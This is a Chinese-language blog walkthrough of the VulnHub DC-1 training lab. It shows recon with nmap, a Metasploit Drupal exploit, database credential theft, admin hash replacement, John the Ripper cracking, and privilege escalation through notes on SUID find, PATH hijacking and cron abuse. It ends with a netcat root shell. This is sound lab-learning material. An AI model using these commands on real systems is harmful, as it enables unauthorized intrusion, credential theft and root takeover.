这是打的第一个DC系列靶机,记录的东西大多是用来入门的

官网下载靶场DC-1

https://www.vulnhub.com/entry/dc-1-1,292/

用高版本Vmare打开,低版本可能出现.ova不兼容,别问我怎么知道的,真是一件恼火的事,,,网络模式选nat

上来我就懵了,不应该让我搭建一下吗,拖进来开机就开始打了?让我login,我还去官方看了看有没有账号密码(丢人

内网着手点应该先是网段吧,开了一台kali,然后输入ifconfig查看了一下本机IP

ifconfig -a  //查看本地Ip地址
因为大家都是虚拟机,应该是同一个网段,kali linux 是192.168.60.128

nmap -A 192.168.60.0/24  //扫描本地C段的网络端口信息

扫出了3个ip,其中一个是我们kali linux,还有192.168.139.1 / 192.168.139.2
根据开放端口来看,目标主机IP应该是192.168.139.1
包括 tcp443SSL端口开放、902 tcp vmware-auth  3306 mysql5.7.30等

然后直接用nmap来
nmap  192.168.139.1  //间接的端口信息查看
 iss-realsecure :百度一下发现是一个实时监控软件,包含控制台、网络引擎和系统带来三个部分
 apex-mesh :不知道是什么来的

不用想nmap扫出来的ip里面开的端口最多的就是靶机了,,要不然我咋可能打的进去哈哈哈

Nmap scan report for 192.168.60.129
Host is up (0.00023s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
| ssh-hostkey: 
|   1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA)
|   2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA)
|_  256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA)
80/tcp  open  http    Apache httpd 2.2.22 ((Debian))
|_http-server-header: Apache/2.2.22 (Debian)
|_http-title: Welcome to Drupal Site | Drupal Site
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
111/tcp open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          36339/tcp6  status
|   100024  1          37397/udp   status
|   100024  1          42298/udp6  status
|_  100024  1          42747/tcp   status
MAC Address: 00:0C:29:70:6C:D7 (VMware)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.2 - 3.16
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.23 ms 192.168.60.129

所以靶机应该就是这个了。这上面的信息有端口,为了更加的直观就再扫一次

nmap 192.168.60.129

DC-12

访问一下ip试试,发现只有80端口可以访问到

DC-11

找了找这个网站可能能利用的东西,想创建一个账户,结果告诉我,要等管理员同意?这他能同意吗,,,

DC-13

呼,爆破密码?那是下策,又看到了网站底下有个Powered by Drupal,兴许这个框架本身存在漏洞呢,百度一下我就知道

有漏洞嘿嘿,内网正好练一下msf
DC-14

输入msfconsole进入控制台
DC-15

找了一下确实有,而且有7个,咱们老百姓,今天真高兴
DC-16

info 0

看到居然只用填ip,那就试一下嘛!
DC-17

第一个不行呜呜呜,接着往下试,发现第二个可以

DC-18

老百姓又高兴起来了,立马就ls一下,发现有flag1.txt,那就是说不止有一个?百度一下发现有五个呜呜呜,我以为这就做完了,看来还得继续打
DC-19

访问flag1.txt和cat是一个东西,应该这就是flag了,真别致,,和CTF不太一样,,根目录也没有flag,查看 /etc/password 和/etc/shadow,只能看到passwd,shadow没有权限查看!不知道你信不信,我就在/etc/passwd里面找到了flag4!
DC-114

要不然九头蛇爆破一下管理员密码?太麻烦了,真实环境也容易被发现,所以应该不是这样。又想起来flag1.txt的内容,既然不是那种有格式的说明他应该是通往下一关的钥匙,

Every good CMS needs a config file - and so do you.

需要一个配置文件,emmmm,蚌埠住了,居然没有find命令!
DC-111

当前目录有个web.config但是啥也没有,啥也不是!当前目录有个sites,那我们切进去看看

cd ./sites
ls

DC-113

没有看到flag,但是寄希望于README.txt,果不其然,什么都没有,example.sites.php里面也没有东西,最后啊,我终于在sites的default的settings.php里面找到了flag2

DC-112

更高兴的是我找到了数据库的账号和密码哎!我现在拿到了三个flag了!flag2提示告诉我们不要暴力破解,幸亏我没去爆破密码,,要不然明天我可能还没做完;鸭子到嘴边吃不到,kali怎么连接mysql啊、、、本地又连接不到,百度WP!面向WP做题

这里记一个我一开始没想到的点,admin被注册了那就尝试弱密码或者爆破

还有不是没有find命令,而是我没有进入shell,要输入

shell

才能进入shell命令,这时候就可以快乐的find啦!,当然flag2我要是

find / -name config

也许我就做不出来了,,瞎猫碰死耗子

find / -name flag*可以找到flag4!
DC-115

这才是真正意义上的flag4吧!

DC-116

WP我的神!用反弹shell弹一个交互shell然后连接mysql,因为flag2下面的数据库是drupaldb,所以我们

use drupaldb;

没有flag但是有users,我们看看users表里面有没有可以登录的账号!

select * from users;

DC-117

admin!,但是密码是加密的,怎么解密又得看WP了。

cat /etc/login.defs | grep -v '^#'

可以看密码加密函数

DC-118

mysql中admin的密码是

$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR

解决这个密码两种方法

  1. 从一些有彩虹表的解密网站花钱解决,能花钱解决的事都不叫事
  2. 没钱(比如我,就可以本地暴力破解,用Jhon,

使用unshadow命令连同John,在Kali系统上破解用户的密码。

unshadow 命令的用法:
unshadow /etc/passwd /etc/shadow > ~/file_to_crack //将输出结果重定向到~/file_to_crack新文件去

然后用Jhon工具:

 	jhon --wordlist=/usr/share/john/password.1st ~/file_to_crack  //用jhon自带的密码表破解
 	jhon ~/file_to_crack  //不用自带密码表,默认尝试简单模式、带规则单词表、增强破解模式
 	
 	jhon --show ~/file_to_crack   //列出所有被解密的密码

但是我们还没有找到第三个flag,看了WP知道原来在user表里面。

DC-119

drupal原来有node机制!学到了。

  • 根据结构的功能结构的不同,drupal划分为,node,user,comment等不同的结构,他们的结构是不同的。他们可以作为四个不同的抽象类,根据这个抽象类,分别有一套hook函数去控制实现的流程。分别有一套theme函数对应一套展示界面。
  • 用户、区块和评论不是节点。在这些特定的数据结构中,为了适应它们各自的特定目的,它们每一个都拥有自己的钩子系统。

节点是一段内容,有相同的结构,也有不同的部分,相同的部分用保持一致,不同的部分用不一个字段去标识。用面向对象的方法去理解节点,节点是一个抽象类,而博客,论坛等具体的功能性站点里的东西可以视作节点的实例化。

节点是一段内容(a piece of content),它是网站内容的基本组成单元。网站上的主要内容是由一个个节点组成的。通过观察网站上发布的各种内容(如新闻、博客、论坛帖子等),可发现它们都有如下的共同特性:

需要一个唯一的ID用于标识这个节点;

都有标题和内容;

需要记录发布时间、修改时间和发布者。

用面向对象的分析问题的方法,可以将这些内容进行抽象出一个“节点类”,节点类具有最基本的属性,而其他类(如博客文章、论坛主题等)均继承自此类,增加一些专属的属性。因此,可以认为Drupal网站中的每个节点是节点类的一个实例。

如下图所示为一个网站中的节点类的实例。可以看到,每个节点类除了标题、内容、发布者等共同的属性外还有专属属性。使用这样的图对网站内容进行分析是一种很好的方法。

DC-1110

由于节点的共性,Drupal为节点的创建和编辑准备了相同的页面,这样使管理员可以在一个页面中完成全部节点的创建。

content type

内容类型(Content type)就是在抽象层次上对节点的一个归类,如上面提到的新闻和博客文章,是两种不同的内容类型。不同内容类型的文章用于不同的使用场景。每一个节点都必须属于某个内容类型,一个内容类型下可以有多个节点。

Drupal默认提供两种内容类型:页面(Page)和故事(Story)。这两者没有实质的区别,只是在显示时,故事节点会显示节点的发布信息, 如时间和发布者等;但页面不会显示。页面经常用于存储如“公司介绍”等介绍性文字信息;而故事通常用于存储如“站点新闻”、“公告”等内容,且在浏览时可 显示发布者和发布时间等信息。

Drupal的后台管理有“内容类型”管理功能,管理员可以创建新的内容类型并设置每个内容类型具有哪些属性。除标题、内容属性外,还提供了诸如是 否支持评论、是否开启版本控制等功能选项。同时,在内容类型的设置中可以对节点的三个基本属性——是否发布在首页、是否置顶和是否发布——有选择地开启。

但是,像3.1节如图3-1所示描述的“新闻节点类”,除了基本属性外,还需要“文中插图”这个额外的属性。这时需要使用第三方模块Content Construction Kit(简称为CCK)提供的为节点增加字段的功能。

所以尝试获取登陆密码,hash值破解可能不太现实,因为注册时候没法自定义密码,所以注册账号将二者hash值换一下也是不可以的

2.明文 root 密码提权
/etc/passwd 储存了用户,全用户可读,root 可写
/etc/shadow 存储密码的 hash,仅 root 可读写
passwd 文件:daemon:x:1:1:daemon:/usr/sbin:/bin/sh 
passwd 由冒号分割,第一列是用户名,第二列是密码,x 代表密码 hash 被放在 shadow 里面了(这样非 root 就看不到了)。而 shadow 里面最重要的就是密码的 hash

先查看这两个文件的权限
ls -l /etc/shadow /etc/passwd
	1、passwd 可写
	若passwd 文件是可写的,将 passwd 的 root 密码 X 替换为我们自己的 hash,如替换为自己 linux 里的 hash,可修改目标的 root 密码
	2、shadow 可读
	把 shadow 里面 root 的 hash 辅助出来,用 hash、john 爆破
	3、密码复用
		数据库、后台web密码也可能是root密码
	4、sudo滥用
		sudo 是让普通用户使用超级用户的命令。其配置文件为 /etc/sudoers,文件定义可以执行 sudo 的账户、定义某个应用程序用 root 访问、是否需要密码验证。查看可以执行哪些命令,即不需要知道 root 密码时,需验证自身普通权限的密码。如sudo -l
	
	5、su root被禁止解决
		拿到 root 密码,端口转发,代理,但防护墙禁止其他人登录 root,在原来的低权限 shell,也无法 sudo 切换 root ,因为出于安全考虑,linux 要求用户必须从终端设备(tty)中输入密码,而不是标准输入(stdin)。 所以 sudo 在你输入密码的时候本质上是读取了键盘,而不是读取 bash 里面输入的字符。
		
	6、计划任务重写
		如果存在有可写权限的计划任务脚本,我们可以查看对应的计划任务,查看对应的脚本文件权限,可写就修改它,然后等它自动执行,执行脚本提权root权限
	ls -l /etc/cron*
	cat /etc/crontab
	
	7、SUID
		SUID 是一种特殊的文件属性,它允许用户执行的文件以该文件的拥有者的身份运行【ls 查看时有 s 属性才支持 SUID】,如 passwd 文件,普通用户不能直接读写,但可通过 passwd 命令,以 root 权限修改 shadow(因为 shadow 是 root 权限文件,修改会以 root 权限修改) 
		find命令提权:如果存在低权限使用find执行,那么就可以进行find提权
		find / -user root -perm -4000 -print 2>/dev/null
		find / -perm -u=s -type f 2>/dev/null
		find / -user root -perm -4000 -exec ls -ldb {} ;
		
		touch test
		find test -exec '/bin/sh' \; //之后就会有一个root权限的shell
		
	8、环境变量劫持-SUID扩展
		通过劫持环境变量,达到执行任意命令的目的。上述只是执行 cat 命令,但我们最终目的是为了提权,而不是以 root 权限只执行单个 cat 命令。 linux 下执行命令,如 cat,是去环境变量查找 ,将 cat 替换
		新建一个/tmp/cat  ,内容为脚本代码,然后执行cat时,会替换成我们的脚本执行
		 cat >> /tmp/ls <<EOF  
            #!/usr/bin/python  
            print "this is not the true cat"  
            print "here is a root shell!"  
            import pty;pty.spawn("/bin/sh")  
            EOF
          再执行./suid-exp可以执行脚本(以管理员权限)

根据上面的linux密码知识,我发现可以替换密码!因为我们有mysql账户密码可以update,但是要怎么样把我们想要修改的密码变成当前版本linux合法的加密密码形式呢?

只好自己找加密脚本加密一个了,加密脚本位置:

./scripts/password-hash.sh

DC-1111

DC-1112

www-data@DC-1:/var/www$ php scripts/password-hash.sh admin
php scripts/password-hash.sh admin

password: admin                 hash: $S$D54MKkfqCj8F.qtYlKFkptORyuh9cyDiXAw.hYYeLfjyZIHF1lhb

然后登陆mysql替换掉原来的密码

update users set pass="$S$DxQCTfic1drhqY7jbCf62drw/T204r3is./KmIUKEzlQUpfHx1RQ" where uid=1
<s="$S$D54MKkfqCj8F.qtYlKFkptORyuh9cyDiXAw.hYYeLfjyZIHF1lhb" where uid=1;

替换后登陆网站,在content中发现flag3提示我们找密码,提示在shadow里
DC-1113

还有最后一个flag5,但是不知道怎么找了,想起来flag4的提示还没去看
DC-1114

让我提权,,,考的真是全面啊

suid提权前段时间刚碰到的,就试试吧!
DC-1115

find能提!看看find是否有suid权限!

/usr/bin/find /tmp -exec whoami  \;

find 命令说明
-exec 参数后面跟的是command命令,它的终止是以;为结束标志的,所以这句命令后面的分号是不可缺少的,考虑到各个系统中分号会有不同的意义,所以前面加反斜杠。-exec参数后面跟的就是我们想进一步操作的命令,so,我们可以以root的权限命令执行了

反弹一个shell,当然find和执行命令,我们也可以返回一个root的netcat的后门

DC-1116

/usr/bin/find ./aaa -exec netcat -lvp 4444 -e "/bin/sh" \;
netcat 192.168.60.129 4444

最后在root目录发现flag!
DC-1117

拿下!第一次做内网靶场,可谓是煎熬又漫长,唯一的遗憾就是信息收集没有做很多。下次再见啦!

Q.E.D.


我用执着埋下了幼稚和任性,那片荒野慢慢长出了理性冷漠和清醒。